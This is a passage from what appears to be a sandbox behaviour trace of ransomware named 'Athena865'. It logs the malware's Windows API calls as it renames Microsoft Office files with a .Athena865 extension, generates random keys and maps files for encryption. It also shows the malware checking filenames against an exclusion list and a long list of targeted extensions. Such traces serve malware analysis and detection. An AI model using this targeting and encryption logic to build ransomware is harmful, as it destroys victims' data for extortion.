lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0078.315] lstrlenW (lpString="wrk") returned 3 [0078.315] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0078.316] lstrlenW (lpString="xdb") returned 3 [0078.316] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0078.316] lstrlenW (lpString="xld") returned 3 [0078.316] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0078.316] lstrlenW (lpString="xmlff") returned 5 [0078.316] lstrcmpiW (lpString1="1.DLL", lpString2="xmlff") returned -1 [0078.316] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.Athena865") returned 68 [0078.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.athena865"), dwFlags=0x1) returned 1 [0078.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.317] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7851440) returned 1 [0078.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.318] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.318] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.318] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.319] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x77d0b0, lpName=0x0) returned 0x17c [0078.320] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x17d0b0) returned 0x2d50000 [0078.379] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0078.442] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0078.460] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.461] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.461] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.462] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.475] CloseHandle (hObject=0x17c) returned 1 [0078.475] CloseHandle (hObject=0x154) returned 1 [0078.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.484] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2=".") returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="..") returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="windows") returned -1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="bootmgr") returned 1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="temp") returned -1 [0078.484] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="pagefile.sys") returned -1 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="boot") returned 1 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="ids.txt") returned 1 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="ntuser.dat") returned -1 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="perflogs") returned -1 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2="MSBuild") returned 1 [0078.485] lstrlenW (lpString="NL7Lexicons0011.DLL") returned 19 [0078.485] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7Lexicons0011.DLL" | out: lpString1="NL7Lexicons0011.DLL") returned="NL7Lexicons0011.DLL" [0078.485] lstrlenW (lpString="NL7Lexicons0011.DLL") returned 19 [0078.485] lstrlenW (lpString="Athena865") returned 9 [0078.485] lstrcmpiW (lpString1="s0011.DLL", lpString2="Athena865") returned 1 [0078.485] lstrlenW (lpString=".dll") returned 4 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2=".dll") returned 1 [0078.485] lstrlenW (lpString=".lnk") returned 4 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2=".lnk") returned 1 [0078.485] lstrlenW (lpString=".ini") returned 4 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2=".ini") returned 1 [0078.485] lstrlenW (lpString=".sys") returned 4 [0078.485] lstrcmpiW (lpString1="NL7Lexicons0011.DLL", lpString2=".sys") returned 1 [0078.485] lstrlenW (lpString="NL7Lexicons0011.DLL") returned 19 [0078.485] lstrlenW (lpString="bak") returned 3 [0078.485] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0078.485] lstrlenW (lpString="ba_") returned 3 [0078.485] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0078.485] lstrlenW (lpString="dbb") returned 3 [0078.485] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0078.485] lstrlenW (lpString="vmdk") returned 4 [0078.485] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0078.485] lstrlenW (lpString="rar") returned 3 [0078.485] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0078.485] lstrlenW (lpString="zip") returned 3 [0078.485] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0078.486] lstrlenW (lpString="tgz") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0078.486] lstrlenW (lpString="vbox") returned 4 [0078.486] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0078.486] lstrlenW (lpString="vdi") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0078.486] lstrlenW (lpString="vhd") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0078.486] lstrlenW (lpString="vhdx") returned 4 [0078.486] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0078.486] lstrlenW (lpString="avhd") returned 4 [0078.486] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0078.486] lstrlenW (lpString="db") returned 2 [0078.486] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0078.486] lstrlenW (lpString="db2") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0078.486] lstrlenW (lpString="db3") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0078.486] lstrlenW (lpString="dbf") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0078.486] lstrlenW (lpString="mdf") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0078.486] lstrlenW (lpString="mdb") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0078.486] lstrlenW (lpString="sql") returned 3 [0078.486] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0078.486] lstrlenW (lpString="sqlite") returned 6 [0078.486] lstrcmpiW (lpString1="11.DLL", lpString2="sqlite") returned -1 [0078.486] lstrlenW (lpString="sqlite3") returned 7 [0078.486] lstrcmpiW (lpString1="011.DLL", lpString2="sqlite3") returned -1 [0078.486] lstrlenW (lpString="sqlitedb") returned 8 [0078.486] lstrcmpiW (lpString1="0011.DLL", lpString2="sqlitedb") returned -1 [0078.487] lstrlenW (lpString="xml") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0078.487] lstrlenW (lpString="$er") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0078.487] lstrlenW (lpString="4dd") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0078.487] lstrlenW (lpString="4dl") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0078.487] lstrlenW (lpString="^^^") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0078.487] lstrlenW (lpString="abs") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0078.487] lstrlenW (lpString="abx") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0078.487] lstrlenW (lpString="accdb") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accdb") returned -1 [0078.487] lstrlenW (lpString="accdc") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accdc") returned -1 [0078.487] lstrlenW (lpString="accde") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accde") returned -1 [0078.487] lstrlenW (lpString="accdr") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accdr") returned -1 [0078.487] lstrlenW (lpString="accdt") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accdt") returned -1 [0078.487] lstrlenW (lpString="accdw") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accdw") returned -1 [0078.487] lstrlenW (lpString="accft") returned 5 [0078.487] lstrcmpiW (lpString1="1.DLL", lpString2="accft") returned -1 [0078.487] lstrlenW (lpString="adb") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.487] lstrlenW (lpString="adb") returned 3 [0078.487] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0078.488] lstrlenW (lpString="ade") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0078.488] lstrlenW (lpString="adf") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0078.488] lstrlenW (lpString="adn") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0078.488] lstrlenW (lpString="adp") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0078.488] lstrlenW (lpString="alf") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0078.488] lstrlenW (lpString="ask") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0078.488] lstrlenW (lpString="btr") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0078.488] lstrlenW (lpString="cat") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0078.488] lstrlenW (lpString="cdb") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0078.488] lstrlenW (lpString="ckp") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0078.488] lstrlenW (lpString="cma") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0078.488] lstrlenW (lpString="cpd") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0078.488] lstrlenW (lpString="dacpac") returned 6 [0078.488] lstrcmpiW (lpString1="11.DLL", lpString2="dacpac") returned -1 [0078.488] lstrlenW (lpString="dad") returned 3 [0078.488] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0078.488] lstrlenW (lpString="dadiagrams") returned 10 [0078.488] lstrcmpiW (lpString1="ns0011.DLL", lpString2="dadiagrams") returned 1 [0078.488] lstrlenW (lpString="daschema") returned 8 [0078.488] lstrcmpiW (lpString1="0011.DLL", lpString2="daschema") returned -1 [0078.488] lstrlenW (lpString="db-journal") returned 10 [0078.489] lstrcmpiW (lpString1="ns0011.DLL", lpString2="db-journal") returned 1 [0078.489] lstrlenW (lpString="db-shm") returned 6 [0078.489] lstrcmpiW (lpString1="11.DLL", lpString2="db-shm") returned -1 [0078.489] lstrlenW (lpString="db-wal") returned 6 [0078.489] lstrcmpiW (lpString1="11.DLL", lpString2="db-wal") returned -1 [0078.489] lstrlenW (lpString="dbc") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0078.489] lstrlenW (lpString="dbs") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0078.489] lstrlenW (lpString="dbt") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0078.489] lstrlenW (lpString="dbv") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0078.489] lstrlenW (lpString="dbx") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0078.489] lstrlenW (lpString="dcb") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0078.489] lstrlenW (lpString="dct") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0078.489] lstrlenW (lpString="dcx") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0078.489] lstrlenW (lpString="ddl") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0078.489] lstrlenW (lpString="dlis") returned 4 [0078.489] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0078.489] lstrlenW (lpString="dp1") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0078.489] lstrlenW (lpString="dqy") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0078.489] lstrlenW (lpString="dsk") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0078.489] lstrlenW (lpString="dsn") returned 3 [0078.489] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0078.490] lstrlenW (lpString="dtsx") returned 4 [0078.490] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0078.490] lstrlenW (lpString="dxl") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0078.490] lstrlenW (lpString="eco") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0078.490] lstrlenW (lpString="ecx") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0078.490] lstrlenW (lpString="edb") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0078.490] lstrlenW (lpString="epim") returned 4 [0078.490] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0078.490] lstrlenW (lpString="fcd") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0078.490] lstrlenW (lpString="fdb") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0078.490] lstrlenW (lpString="fic") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0078.490] lstrlenW (lpString="flexolibrary") returned 12 [0078.490] lstrcmpiW (lpString1="cons0011.DLL", lpString2="flexolibrary") returned -1 [0078.490] lstrlenW (lpString="fm5") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0078.490] lstrlenW (lpString="fmp") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0078.490] lstrlenW (lpString="fmp12") returned 5 [0078.490] lstrcmpiW (lpString1="1.DLL", lpString2="fmp12") returned -1 [0078.490] lstrlenW (lpString="fmpsl") returned 5 [0078.490] lstrcmpiW (lpString1="1.DLL", lpString2="fmpsl") returned -1 [0078.490] lstrlenW (lpString="fol") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0078.490] lstrlenW (lpString="fp3") returned 3 [0078.490] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0078.491] lstrlenW (lpString="fp4") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0078.491] lstrlenW (lpString="fp5") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0078.491] lstrlenW (lpString="fp7") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0078.491] lstrlenW (lpString="fpt") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0078.491] lstrlenW (lpString="frm") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0078.491] lstrlenW (lpString="gdb") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0078.491] lstrlenW (lpString="gdb") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0078.491] lstrlenW (lpString="grdb") returned 4 [0078.491] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0078.491] lstrlenW (lpString="gwi") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0078.491] lstrlenW (lpString="hdb") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0078.491] lstrlenW (lpString="his") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0078.491] lstrlenW (lpString="ib") returned 2 [0078.491] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0078.491] lstrlenW (lpString="idb") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0078.491] lstrlenW (lpString="ihx") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0078.491] lstrlenW (lpString="itdb") returned 4 [0078.491] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0078.491] lstrlenW (lpString="itw") returned 3 [0078.491] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0078.492] lstrlenW (lpString="jet") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0078.492] lstrlenW (lpString="jtx") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0078.492] lstrlenW (lpString="kdb") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0078.492] lstrlenW (lpString="kexi") returned 4 [0078.492] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0078.492] lstrlenW (lpString="kexic") returned 5 [0078.492] lstrcmpiW (lpString1="1.DLL", lpString2="kexic") returned -1 [0078.492] lstrlenW (lpString="kexis") returned 5 [0078.492] lstrcmpiW (lpString1="1.DLL", lpString2="kexis") returned -1 [0078.492] lstrlenW (lpString="lgc") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0078.492] lstrlenW (lpString="lwx") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0078.492] lstrlenW (lpString="maf") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0078.492] lstrlenW (lpString="maq") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0078.492] lstrlenW (lpString="mar") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0078.492] lstrlenW (lpString="marshal") returned 7 [0078.492] lstrcmpiW (lpString1="011.DLL", lpString2="marshal") returned -1 [0078.492] lstrlenW (lpString="mas") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0078.492] lstrlenW (lpString="mav") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0078.492] lstrlenW (lpString="maw") returned 3 [0078.492] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0078.492] lstrlenW (lpString="mdbhtml") returned 7 [0078.492] lstrcmpiW (lpString1="011.DLL", lpString2="mdbhtml") returned -1 [0078.493] lstrlenW (lpString="mdn") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0078.493] lstrlenW (lpString="mdt") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0078.493] lstrlenW (lpString="mfd") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0078.493] lstrlenW (lpString="mpd") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0078.493] lstrlenW (lpString="mrg") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0078.493] lstrlenW (lpString="mud") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0078.493] lstrlenW (lpString="mwb") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0078.493] lstrlenW (lpString="myd") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0078.493] lstrlenW (lpString="ndf") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0078.493] lstrlenW (lpString="nnt") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0078.493] lstrlenW (lpString="nrmlib") returned 6 [0078.493] lstrcmpiW (lpString1="11.DLL", lpString2="nrmlib") returned -1 [0078.493] lstrlenW (lpString="ns2") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0078.493] lstrlenW (lpString="ns3") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0078.493] lstrlenW (lpString="ns4") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0078.493] lstrlenW (lpString="nsf") returned 3 [0078.493] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0078.493] lstrlenW (lpString="nv") returned 2 [0078.493] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0078.493] lstrlenW (lpString="nv2") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0078.494] lstrlenW (lpString="nwdb") returned 4 [0078.494] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0078.494] lstrlenW (lpString="nyf") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0078.494] lstrlenW (lpString="odb") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0078.494] lstrlenW (lpString="odb") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0078.494] lstrlenW (lpString="oqy") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0078.494] lstrlenW (lpString="ora") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0078.494] lstrlenW (lpString="orx") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0078.494] lstrlenW (lpString="owc") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0078.494] lstrlenW (lpString="p96") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0078.494] lstrlenW (lpString="p97") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0078.494] lstrlenW (lpString="pan") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0078.494] lstrlenW (lpString="pdb") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0078.494] lstrlenW (lpString="pdm") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0078.494] lstrlenW (lpString="pnz") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0078.494] lstrlenW (lpString="qry") returned 3 [0078.494] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0078.494] lstrlenW (lpString="qvd") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0078.495] lstrlenW (lpString="rbf") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0078.495] lstrlenW (lpString="rctd") returned 4 [0078.495] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0078.495] lstrlenW (lpString="rod") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0078.495] lstrlenW (lpString="rodx") returned 4 [0078.495] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0078.495] lstrlenW (lpString="rpd") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0078.495] lstrlenW (lpString="rsd") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0078.495] lstrlenW (lpString="sas7bdat") returned 8 [0078.495] lstrcmpiW (lpString1="0011.DLL", lpString2="sas7bdat") returned -1 [0078.495] lstrlenW (lpString="sbf") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0078.495] lstrlenW (lpString="scx") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0078.495] lstrlenW (lpString="sdb") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0078.495] lstrlenW (lpString="sdc") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0078.495] lstrlenW (lpString="sdf") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0078.495] lstrlenW (lpString="sis") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0078.495] lstrlenW (lpString="spq") returned 3 [0078.495] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0078.495] lstrlenW (lpString="te") returned 2 [0078.495] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0078.495] lstrlenW (lpString="teacher") returned 7 [0078.495] lstrcmpiW 